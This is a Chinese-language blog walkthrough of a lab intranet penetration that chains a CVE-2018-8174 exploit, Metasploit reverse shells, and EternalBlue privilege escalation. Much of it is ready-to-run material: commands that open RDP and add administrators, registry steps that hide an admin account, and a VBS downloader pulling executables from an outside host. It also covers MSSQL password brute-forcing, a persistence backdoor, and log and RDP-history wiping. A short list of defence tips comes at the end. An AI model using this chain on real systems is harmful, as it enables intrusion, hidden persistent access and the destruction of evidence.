文章目录

  • 说明
  • CVE-2018-8174漏洞简介
  • Persistence后门
  • 环境搭建
    • 拓扑图
    • Win server 2008 对Windows 7开启1433端口
  • 内网攻击过程
    • 1号机获得2号机的权限
      • 利用CVE-2018-8174漏洞获取2号机(Windows 7)权限,添加攻击者用户
      • 添加超级隐藏管理员账户
      • 使用vbs脚本上传SQLTOOLS.exe
    • 从Windows 7进攻Windows server 2008
      • 对Windws server 2008的sa账户进行爆破
      • 利用sqltoos获取Win server 2008 的权限
      • Windows 7中远程登录Win server 2008
  • 权限维持(Kali到Windows7)
  • 痕迹清除
    • 使用清除远程连接历史记录的BAT脚本
    • clearev命令
  • 脚本分析
    • 目标机器下载程序的vbs脚本
    • 清除3389远程桌面连接记录的批处理脚本
  • 如何防御

说明

2019年本文已在i春秋论坛发表

本文涉及的知识点: CVE-2018-8174漏洞复现内网渗透权限维持脚本编程痕迹清除端口转发利用MS17-010提权

CVE-2018-8174漏洞简介

CVE-2018-8174是 Windows VBScript Engine 代码执行漏洞。由于VBScript脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶意的VBScript嵌入到Office文件或者网站中,一旦用户不小心点击,远程攻击者可以获取当前用户权限执行脚本中的恶意代码,该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招,最终被黑客植入后门木马完全控制电脑。在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。

Persistence后门

Persistence是一款使用安装自启动方式的持久性后门程序,读者可以利用 它创建注册和文件。
参数解释:

  • A: 自动启动Payload程序
  • S: 系统启动时自动加载
  • U: 用户登录时自动启动
  • X: 开机时自动加载
  • i: 回连的时间间隔
  • P: 监听反向连接端口号
  • r: 目标机器IP地址

环境搭建

拓扑图

Win server 2008 对Windows 7开启1433端口

  1. 选择“打开或者关闭Windows防火墙”把防火墙打开,然后选择“高级设置”,选择“创建规则”来指定端口。

  2. 在“入站规则”里选择刚才创建的规则,名称是“1433”,如下图所示

  3. 在属性对话框中,选择“远程IP地址”时,使用Windows7 的IP地址:172.20.10.177,配置完成后,Win server 2008 对Windows7成功开启1433端口

内网攻击过程

1号机获得2号机的权限

利用CVE-2018-8174漏洞获取2号机(Windows 7)权限,添加攻击者用户

  1. 从github上克隆CVE-2018-8174的EXP到Kali Linux
    git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git

  2. 生成恶意html和rtf文件
    cd CVE-2018-8174_EXP/

python CVE-2018-8174.py -u http://192.168.114.130/exploit.html -o exploit.rtf -i 192.168.114.130 -p 4444

  1. 将恶意html文件移动到网站根目录,启动apache2服务
    cp exploit.html /var/www/html/
    service apache2 start

  2. 新打开一个终端,生成MSF监听

msfconsole -x "use exploit/multi/handler; set PAYLOAD Windows/shell/reverse_tcp; set LHOST 192.168.114.130; set lport 4444; run"

  1. 受害者点击恶意链接

  1. 在kali里接收到了shell,可在meterpreter中管理shell
    发现非管理员权限

  1. 使用MS17-010模块进行提权
    use auxiliary/scanner/smb/smb_ms17_010

在运行该模块之前,需要设置相关选项,我们使用show options查看配 置信息

  1. 需要设置目标地址,设置命令:set RHOSTS 192.168.114.138

9.设置完成后,执行run或exploit命令,等待执行结果,发现存在永恒之蓝漏洞

10.使用漏洞利用模块

use exploit/Windows/smb/ms17_010_eternalblue

11.查看配置信息,并设置标记为yes的属性,show options,目标机host 地址:192.168.114.138,set RHOST 192.168.114.138

  1. 选择载荷payload,也就是shellcode,此处我们选择回连至控制端 shell的payload

set payload Windows/x64/meterpreter/reverse_tcp

同样,载荷也需要进行配置,show options查看配置信息
配置中缺少本地主机 LHOST,设置一下

set LHOST 192.168.114.130

  1. 完成配置后,运行exploit或者run,开始执行漏洞利用模块
    成功获取来自目标主机的Session会话

  2. 查看受害者机器相关信息

15.成功使用MS17010获得系统权限

  1. 发现未开启3389端口

17.添加3389入站规则

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP   dir=in localport=3389 action=allow

  1. 开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server    /v fDenyTSConnections /t REG_DWORD /d 0 /f

  1. 成功打开3389端口

  2. 创建管理员用户Waldo

net user Waldo 123456hhhh. /add

net localgroup administrators Waldo /add

  1. 使用Waldo账户远程登录
    portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138

rdesktop 127.0.0.1 -u Waldo -p 123456hhhh.

添加超级隐藏管理员账户

net user test$ 123456 /add

net localgroup administrators test$ /add

但在管理账户面板依然能够看见,下面要解决这个问题

在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找 到新建的帐户test$

获取默认类型为0x3ec,将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$导出为1.reg

在注册表下能够找到对应类型名称的注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC

右键将该键导出为2.reg,保存的文件信息如下图

默认情况下,管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
同样,右键将该键导出为3.reg

将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值,即2.reg中键F的值替换成3.reg中键F的值

替换后,如图

命令行删除特殊账户: net user test$ /del

导入reg文件:

regedit /s 1.reg

regedit /s 2.reg

隐藏账户制做完成,控制面板不存在帐户test$

通过net user无法列出该帐户
计算机管理-本地用户和组-用户也无法列出该帐户
但可通过如下方式查看: net user test$

命令窗口打开后,键入net user test$/active:yes。输完后按一下回车键看到“命令成功完成”信息即表明超级隐藏账户test$ 账户已启用

端口转发:
portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138

使用超级隐藏账户登录:
rdesktop 127.0.0.1 -u test$ -p 123456

Windows 不会显示隐藏账户

使用vbs脚本上传SQLTOOLS.exe

脚本如下:

url = "http://wjs001.cn/lcx.exe"    '网络上的文件地址
saveas = "c:\lcx.exe"                '保存成的本地文件Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream")       '创建ADO数据流对象Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求stream.mode = 3 '设置数据流为读写模式
stream.type = 1     '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件'释放对象
Set xmlhttp = Nothing
Set stream = Nothing

在shell下,创建文件夹: mkdir C:\\hack\\

将脚本上传到创建好的名为hack的文件夹下:

meterpreter > upload /root/down1.vps C:\\hack

查看C:\hack确认上传成功:

运行cscript down1.vbs,上传SQLTOOLS软件:

Kali对Windows 7(192.168.114.138)的权限维持见**权限维持**模块

从Windows 7进攻Windows server 2008

对Windws server 2008的sa账户进行爆破

  1. 使用nmap扫描发现172.20.10.208开了1433端口

nmap -p1433 --open 172.20.10.0/24

  1. 使用ms-sql-brute模块对Win server 2008的sa账户进行爆破,获得用户名为sa,密码为123456

name.txt和password.txt是爆破用的字典

nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo\Desktop\name.txt,passdb=C:\Users\Waldo\Desktop\password.txt 172.20.10.208

利用sqltoos获取Win server 2008 的权限

  1. 使用sqltools进行sql连接

  2. 用xp_cmdshell关闭防火墙限制

netsh firewall set opmode mode=disable

  1. 添加3389入站规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

4.开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

  1. 创建管理员用户Waldo6TEST

net user Waldo2008 1234567hhhh. /add

net localgroup administrators Waldo2008 /add

Windows 7中远程登录Win server 2008

  1. 在Windows 7 使用用户名Wado2008T 密码1234567hhhh.成功登陆Win server 2008

权限维持(Kali到Windows7)

run persistence -X -i 5 -p 1121 -r 192.168.114.130,这里在Meterpreter会话中运行persistence后渗透攻击模块,在目标主机的注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加下图中倒数第一个[*],达到自启动的目的,-X参数指定启动的方式为开机自启动,-i参数指定反向连接的时间间隔

然后建立Meterpreter的客户端,在指定回来的1121端口进行监听,待Windows 7(192.168.114.138),等待后门重新连接,具体操作命令如下:

msfconsole
use exploit/multi/handler
set PAYLOAD Windows/meterpreter/reverse_tcp
set LHOST 192.168.114.130
set lport 1121
run

痕迹清除

使用清除远程连接历史记录的BAT脚本

clearev命令

未清除时Windows 7(192.168.114.138)中的日志

脚本分析

目标机器下载程序的vbs脚本

注: 使用service apache2 start将kali linux apache2服务打开,可以使之充当服务器,将需要上传的文件放在/var/www/html目录下

url = "http://192.168.114.130/SQL.exe"    '网络上的文件地址
saveas = "C:\hack\SQL.exe"                '保存成的本地文件
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream")       '创建ADO数据流对象
Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求
stream.mode = 3 '设置数据流为读写模式
stream.type = 1     '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件
'释放对象
Set xmlhttp = Nothing
Set stream = Nothing

清除3389远程桌面连接记录的批处理脚本

@cls ::清屏
@color 0b ::设置默认的控制台前景和背景颜色
::REM清除mstsc历史记录
echo off ::echo off执行以后,后面所有的命令均不显示,但本条命令是显示的
mstsc
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
cd /d %USERPROFILE%
del *.rdp /a/s

解释:
/f: 不提示
/a: 删除隐藏文件

如何防御

1.不要打开任何来源不明的链接或Office文档

2.及时更新并安装微软发布的最新补丁

3.定期查看日志和管理用户界面

4.及时更新杀毒软件,并对计算机进行杀毒

CVE-2018-8174漏洞复现及内网渗透攻击相关推荐

  1. 内网渗透攻击技术的利用

    DCSync 是什么 在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步.当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 ...

  2. 红蓝对抗之Windows内网渗透

    无论是渗透测试,还是红蓝对抗,目的都是暴露风险,促进提升安全水平.企业往往在外网布置重兵把守,而内网防护相对来说千疮百孔,所以渗透高手往往通过攻击员工电脑.外网服务.职场WiFi等方式进入内网,然后发 ...

  3. 内网渗透-Windows内网渗透

    内网渗透-Windows内网渗透 文章目录 内网渗透-Windows内网渗透 前言 一.信息收集 1.1.SPN 1.2.端口连接 1.3.配置文件 1.4.用户信息 1.6.会话收集 1.7.凭据收 ...

  4. 螣龙安科笔记:内网渗透测试(三)

    经过前两篇文章的介绍,相信大家对于内网渗透测试的一些基础知识已经有了足够的了解,这篇文章就将带你一起来了解内网渗透测试的全过程. (四)内网渗透流程 1.渗透工具准备 1.1扫描工具 1.1.1主动扫 ...

  5. 内网渗透(三):信息收集

    文章目录 前言 MSF 模块 shell 模块 后记 前言 本博文仅供学习使用,请勿他用!!! 网络安全成为当下最热门的话题,如何维护网络安全是关键,而内网渗透测试又是其中最重要的部分,接下来博主将会 ...

  6. 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗...

    1 基础知识 1.1 网络 熟悉常见网络协议: https://www.ietf.org/standards/rfcs/ 1.2 操作系统 1.3 编程 2 恶意软件分析 2.1 分类 2.1.1 木 ...

  7. ssrf漏洞内网渗透_渗透小白看了也能明白的SSRF

    什么是SSRF 含义 服务器端请求伪造(SSRF)是指攻击者能够从易受攻击的Web应用程序发送精心设计的请求的对其他网站进行攻击.(利用一个可发起网络请求的服务当作跳板来攻击其他服务) 攻击者能够利用 ...

  8. 2022-10-15(Linux应急响应、配置漏洞之DNS域传送、内网渗透之内网主机发现技巧)

    http://noahblog.360.cn/advanced-windows-taskscheduler-playbook/@[toc] [重要]拜读的文章链接都在标题上. 一.linux应急响应 ...

  9. 内网渗透(四十六)之横向移动篇-使用系统漏洞ms17010横向移动

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

最新文章

  1. Flutter:实现红包晃动效果
  2. Java中的钩子方法
  3. 数据结构:(4)算法及其描述
  4. spring boot学习(2) SpringBoot 项目属性配置
  5. Java @override报错的解决方法
  6. OBIEE中设置动态变量为列名
  7. php定义枚举,PHP枚举
  8. 非参数统计之局部多项式回归
  9. 一款用C++语言实现的3D游戏引擎(附源码),适用于想学3D游戏开发
  10. 【微服务】使用yml格式进行nacos拓展配置
  11. 程序员土豆原创诗四首回顾
  12. 20系列显卡服务器,关于20系列的DLSS
  13. 计算机网络——互联网上的音/视频服务
  14. rsync不覆盖已经存在文件的方法
  15. 电脑W ndoWs在哪里,苹果电脑如何安装wndows系统.doc
  16. 我是一个*** (九)
  17. 利用GPS定位[android]
  18. Spring容器框架
  19. 如何高效阅读英文文献
  20. recyclerview嵌套recyclerview

热门文章

  1. R语言的告警”条件的长度大于一,因此只能用其第一元素“的解决办法
  2. 考计算机科学考研老师问,计算机考研经验征集、常见问题解答及考研励志帖
  3. 顺时针打印矩阵java
  4. React-Extension
  5. flex布局最后一排元素效果不理想
  6. android ormlite框架的理解,Android ORMLite框架入门级介绍
  7. 怎么样在excel表格里面每隔一行插入一个空行
  8. 知云文献翻译打不开_软件推荐 | 知云文献翻译
  9. Flutter 异步编程:Future、Isolate 和事件循环
  10. U盘损坏打不开,提示需【格式化】的解决办法【亲测有效】